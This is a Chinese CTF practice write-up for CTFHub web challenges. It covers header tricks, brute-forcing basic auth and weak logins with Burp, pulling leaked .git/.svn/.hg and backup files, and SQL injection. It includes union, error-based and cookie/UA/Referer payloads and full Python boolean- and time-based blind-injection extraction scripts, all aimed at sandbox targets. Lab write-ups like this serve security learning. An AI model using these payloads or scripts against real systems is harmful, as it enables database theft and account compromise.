ctfhub练习

Web前置技能

HTTP协议

请求方式

1

注意到题中要求使用CTF**B Method,故在Burp-Suite将GET方式改为CTFHUB(区分大小写)。

2

将Intercept打开后打开浏览器并填入URL,将橙色标识中的GET方法改为CTFHUB后发送,得到如下flag

flag

302跳转

打开URL如下

1

打开Intercept并进入HTTP history查看

2

发现两处302跳转,查看得到flag

flag

打开URL如下

1

得知要使用admin登陆

刷新拦截一下请求

2

将admin=0改为admin=1并发送,得到flag

flag

基础认证

打开URL点击click

1

在HTTP history中查看response,注意到认证提示“Basic realm=”Do u know admin ?””

猜测登陆用户名为admin

输入用户名密码后抓包,看到base64加密后的字符

2

在解码器中发现是账号:密码的格式,而账号为admin

3

使用爆破模块intruder

将该请求发送到intruder,将basic后面的字符选中并点击右侧Add§

4

进入payloads导入ctfhub给的密码本

5

同时添加前缀admin:(注意中间的:)

6

添加base64编码

7

取消url编码,不然=会被转化为%3d

8

开始爆破

9

筛选状态200并查看返回值,得到flag

flag

响应包源代码

打开URL发现是游戏

1

打开源代码发现flag

flag

信息泄露

目录遍历

法一:Burp Suite

0

注意到目录为4*4的文件夹

进入到最后一级目录,发送URL到intruder中

分别选择攻击类型:cluster bomb,选择变化的位置,设置payload的sets和options

1

2

设置完成后开始

在结果页中发现长度明显不一致的返回,查看返回内容

3

从而得到flag

flag

法二:python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# _*_ coding:utf-8 _*_

import requests

url = "http://challenge-0b7cf3fe1d9ef811.sandbox.ctfhub.com:10800/flag_in_here"#靶机url

for i in range(5):#i为0-4的数
for j in range(5):#j为0-4的数
url_final = url + "/" + str(i) + "/" + str(j)#将最终的目录拼接出来
r = requests.get(url_final)#获得服务器返回的Response
r.encoding = "utf-8"
get_file=r.text#得到text内容
if "flag" in get_file:#判断flag是否在返回值中
print(url_final)

运行结果如下,得到flag目录

4

PHPINFO

打开目标url,进入phpinfo界面

搜索flag关键词得到flag

flag

备份文件下载

网站源码

法一:Burp Suite

打开url发现提示给了常见的文件及后缀名

1

进入bs浏览器,随便输一个,例如:web.tar尝试访问

2

在历史记录中将该次访问发送到intruder中

3

在源代码中选择攻击类型并选中web和tar

4

payloads中载入要变化的文件名

5

填写两个set后开始攻击,找到状态为200的文件,下载

6

得到flag.txt

7

将该文件放入浏览器中尝试打开得到flag

flag

法二:dirsearch

在dirsearch目录中打开powershell,执行以下命令

1
python .\dirsearch.py -u http://challenge-584841b234301423.sandbox.ctfhub.com:10800 -e tar,tar.gz,zip,rar -x 502,503

执行完成后得到备份文件

8

后续步骤同法一

法三:python

1
2
3
4
5
6
7
8
9
10
import requests
url="http://challenge-584841b234301423.sandbox.ctfhub.com:10800/"
list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
list2=['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
for j in list2:
url_final=url+i+"."+j
r=requests.get(url_final)
if(r.status_code == 200):
print(url_final)

bak文件

打开URL有:

1

使用dirsearch扫描文件

在dirsearch目录执行以下命令

1
python .\dirsearch.py -u http://challenge-b2eb848d1933d253.sandbox.ctfhub.com:10800 -e * -x 502,503

等待扫描完成发现有index.php.bak文件

2

直接下载.bak文件打开发现flag

flag

vim缓存

法一:dirsearch

打开URL得到提示

1

使用dirsearch扫描

1
python .\dirsearch.py -u http://challenge-9a421211667ab5ac.sandbox.ctfhub.com:10800 -e swp -x 502,503

主动选择.swp的后缀是因为-e *默认不包括swp文件

2

下载index.php.swp后放入linux中使用vim打开

先使用mv将index.php.swp改名为.index.php.swp

1
mv index.php.swp .index.php.swp

再使用vim打开index.php文件

1
vim index.php

3

按R选择恢复得到flag

flag

法二:直接访问

由题目可得要求得到vim缓存文件

故直接访问.index.php.swp(swp,swo,swn)

得到index.php.swp文件后同法一

法三:curl(未成功)

可以直接使用curl命令查看

1
curl http://challenge-9a421211667ab5ac.sandbox.ctfhub.com:10800/.index.php.swp

但出现问题:

4

.DS_Store

法一:dirsearch+linux查看

dirsearch开扫

1

得到.DS_Store文件,丢到浏览器下载后在linux内打开

2

在看到.txt文件,丢到浏览器中打开得到flag

flag

法二:dirsearch+python dsstore查看

同法一,得到DS_Store

将得到的文件用dsstore打开

3

得到.txt文件

Git泄露

Log

dirsearch开扫

1

看到有.git文件夹,用githack下下来(仅支持python2)

1
python2 Githack.py http://challenge-b4001d8a6ccbd18d.sandbox.ctfhub.com:10800/.git

2

去到.git同级目录,输入

1
git log

查看之前对仓库的操作,发现第二次添加了flag,考虑恢复

1
git reset --hard HEAD^

或者

1
git diff HEAD^

得到历史文件

3

查看.txt文件得到flag

flag

Stash

法一:git differ

dirsearch开扫

1

发现.git,用hackgit抓下来,得到.git文件夹

2

进入.git/refs,查看stash文件

3

在gtihash中对比一下,得到flag

flag

法二:git stash pop

得到.git文件夹后,直接查看stash

5

执行git stash pop发现弹出文件

6

查看该文件得到flag

flag-2

Index

dirsearch开扫

1

看到有.git文件,用githack抓出来

1
python2 .\GitHack.py http://challenge-241983fae914b573.sandbox.ctfhub.com:10800/.git`

2

进入目录直接看到.txt文件,打开得到flag

flag

SVN泄露

dirsearch扫出来有.svn目录,用dvcs-ripper找一下svn

1

进入.svn目录(隐藏文件夹,要用ls -a查看),在pristine目录中有两个文件夹,找到旧版的(08)

2

cat查看文件得到flag

flag

HG泄露

dirsearch开扫发现有.hg残留,在kali中用dvcs-ripper找一下

1

发现部分404,但是在store-fncache中仍有文件显示

2

拼接url+flag得到flag

flag

密码口令

弱口令

burp里抓包登陆请求,发送到爆破模组里

1

2

选上下面的用户密码,用集束炸弹方式攻击

payload1,2分别使用简单的弱口令

3

4

选中长度排序,得到爆破成功的的对应密码,查看response得到flag

flag

默认口令

打开是网关登陆界面,还有验证码,那就没法用intruder爆破密码了

image-20221019003140324

随便试一个账号密码,显示用户不存在

image-20221019003216381

查看源代码发现是“亿邮邮件网关”,结合title的“默认口令”,试一下是否是出厂的默认设置

直接搜该网关的管理用户

image-20221019003431841

丢进去登陆得到flag

image-20221019003507338

SQL注入

整数型注入

image-20230308082747549

1 and 1=1不报错,1 and 1=2报错,说明整数注入,直接猜列数

1
1 order by x

x为数字

当x=3时报错,说明只有两列

image-20230308083107879

联合查询,让查询的id=-1,使得前面select * from news where id=1错误,回显后面的union字段

image-20230308083202386

查到当前数据库名为sqli

继续爆表名

1
-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

image-20230308083452750

得到sqli的库中两个表为flag和news

查flag表

1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

image-20230308083655706

拿flag

1
-1 union select 1,flag from sqli.flag

image-20230308083728106

字符型注入

输入1'报错而1"不报错,说明本次用的是'分割

1
1' order by x #

查列数

x=3报错

image-20230308090536133

联合查询

1
-1' union select 1,database() #

image-20230308090612874

爆出库名,继续爆

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

image-20230308090757323

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

image-20230308091240197

1
-1' union select 1,flag from sqli.flag #

image-20230308091314140

报错注入

先order by找一下列数

image-20230308091711580

报错注入可以用updatexml(1,2,3)函数,当第二个参数含特殊符号时报错,同时将第二个参数的内容显示在报错信息里

特殊符号用0x7e -> ~

1
1 and updatexml(1,concat(0x7e,database()),3)

image-20230308092106795

1
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli')),3)

image-20230308092458129

得到sqli库中两个表:flag,news

1
1 and updatexml(1,concat(0x7e,(select * from sqli.flag)),3)

image-20230308092916770

此时仅显示了前一部分的flag,原因是updatexml函数最多只能显示32位字符的长度,

1
1 and updatexml(1,concat(0x7e,mid((select * from sqli.flag),20,32)),3)

查到了第20-32位的flag

image-20230308093231337

拼起来就得到了完整flag

布尔盲注

关键点是if判断:

1
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

利用substr函数,截取字符串(库名、表名、数据)并放入expr1中进行判断,从而得出正确值

1
if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables))

image-20230309083311747

image-20230309083339235

显然,数据库的第一个字符为s

有python脚本遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests

urlOPEN = input('输入url:\n')
mark = 'query_success'

database_name = ''
table_list = []
column_list = []
flag=''

def get_database_name():#查库名
for j in range(1,9):#数据库名限制为64字符,但一般小于9,为了效率
for i in 'abcdefghijklnmopqrstuvwxyz':#linux下mysql应该是对大小写敏感的,而windows则不
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
r = requests.get(url)
if mark in r.text:
database_name = database_name+i
print(database_name)
break
print('database_name:',database_name)

get_database_name()

def get_table_name():#查表名
for k in range(0,4):#看前四个表
name=''
for j in range(1,9):#一般来说表的最大长度有64
for i in 'abcdefghijklnmopqrstuvwxyz':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r = requests.get(url)
if mark in r.text:
name = name+i
break
table_list.append(name)
print('table_name:',table_list)

get_table_name()

def get_column_name():#查列
for k in range(0,3): #判断列里最多有4个字段
name=''
for j in range(1,9): #判断一个字段名最多有9个字符组成
for i in 'abcdefghijklnmopqrstuvwxyz':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
column_list.append(name)
print ('column_name:',column_list)

get_column_name()

def get_data():
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):#ascii48-126对应的数字+英文+{,},|
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
flag=flag+chr(i)
print(flag)
break
print ('flag:',flag)

get_data()

image-20230309093514036

时间盲注

方法和布尔盲注类似,利用if判断,但需要引入sleep()函数,从是否执行sleep()函数来判断if条件是否成立

1
if(length(database())>=2,sleep(1),1)

如果数据库名字大于等于二,则返回时间应该大于1

脚本与布尔盲注的脚本类似,只不过需要引入time库

由于网络环境的波动,一般要跑三次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import requests
import time

urlOPEN = input('输入url:\n')
mark = 'query_success'

database_name = ''
table_list = []
column_list = []
flag = ''

def get_database_name():#查库名
global database_name
for j in range(1,9):#数据库名限制为64字符,但一般小于9,为了效率
for i in 'abcdefghijklnmopqrstuvwxyz':#linux下mysql应该是对大小写敏感的,而windows则不
url = urlOPEN+'if(substr(database(),%d,1)="%s",sleep(1),1)' %(j,i)
start_time = time.time()
r = requests.get(url)
end_time = time.time()
t = end_time - start_time
if (t > 1):
database_name = database_name+i
print(database_name)
break
print('database_name:',database_name)

get_database_name()

def get_table_name():#查表名
global table_list
for k in range(0,4):#看前四个表
name=''
for j in range(1,9):#一般来说表的最大长度有64
for i in 'abcdefghijklnmopqrstuvwxyz':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i)
start_time = time.time()
r = requests.get(url)
end_time = time.time()
t = end_time - start_time
if (t > 1):
name = name+i
break
table_list.append(name)
print('table_name:',table_list)

get_table_name()

def get_column_name():#查列
global column_list
for k in range(0,3): #判断列里最多有4个字段
name=''
for j in range(1,9): #判断一个字段名最多有9个字符组成
for i in 'abcdefghijklnmopqrstuvwxyz':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i)
start_time = time.time()
r = requests.get(url)
end_time = time.time()
t = end_time - start_time
if (t > 1):
name=name+i
break
column_list.append(name)
print ('column_name:',column_list)

get_column_name()

def get_data():
global flag
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):#ascii48-126对应的数字+英文+{,},|
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,sleep(1),1)' %(j,i)
start_time = time.time()
r = requests.get(url)
end_time = time.time()
t = end_time - start_time
if (t > 1):
flag=flag+chr(i)
print(flag)
break
print ('flag:',flag)

get_data()

还是用sqlmap吧,够没脑子的

MySQL结构

本质就是整数型注入

1 and 1=1判断出,然后union select 联合注入即可

1
select * from news where id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

image-20230310095151777

1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='fddqhlosgo'

image-20230310095210033

1
-1 union select 1,umremmalnq from sqli.fddqhlosgo

image-20230310095301878

Cookie注入

提示是cookie注入,随便发点cookie过去

image-202303262211721

那就发cookie id过去

image-20230326221312259

显然是普通的数字注入,order by尝试之后有两列

那就用一般的联合注入union select

构造id=-1 union select 1,code查找

image-20230326221603268

已经成功注入了,看得出来数据库是sqli

爆库

1
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata

image-20230326221717225

爆表

1
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() 

image-20230326221754150

爆字段

1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'gpdznzrugt'

image-20230326221827733

爆值

1
id=-1 union select 1,rgbrnkhfep from sqli.gpdznzrugt

image-20230326221914424

UA注入

image-20230508220028924

用hackbar重新发一遍请求

1
User-Agent=-1 union select database(),1#

image-20230508220334316

1
User-Agent=-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='sqli'#
1
User-Agent=-1 union select group_concat(column_name),1 from information_schema.columns where table_name='nnzwsnydwo'#
1
User-Agent=-1 union select pekzosqxfm,1 from sqli.nnzwsnydwo#

image-20230508221053144

Refer注入

同UA

1
Referer=-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='sqli'#
1
Referer=-1 union select group_concat(column_name),1 from information_schema.columns where table_name='uakovlxjab'#
1
Referer=-1 union select hkjndazhbu,1 from sqli.uakovlxjab#

image-20230508221601615

过滤空格

常见的有/**/,(),%0a

经尝试可以用/**/绕过

1
-1/**/union/**/select/**/database(),1#
1
-1/**/union/**/select/**/group_concat(table_name),1/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'#
1
-1/**/union/**/select/**/group_concat(column_name),1/**/from/**/information_schema.columns/**/where/**/table_name='vihvhlsoyv'#
1
-1/**/union/**/select/**/kfqwbuiugf,1/**/from/**/sqli.vihvhlsoyv#

image-20230508222955876

文件上传

无验证

一句话木马

image-20230228103421787

image-20230228103436838

前端验证

禁用js之后一句话🐴

RCE

SSRF

  • Copyrights © 2022-2024 b1xcy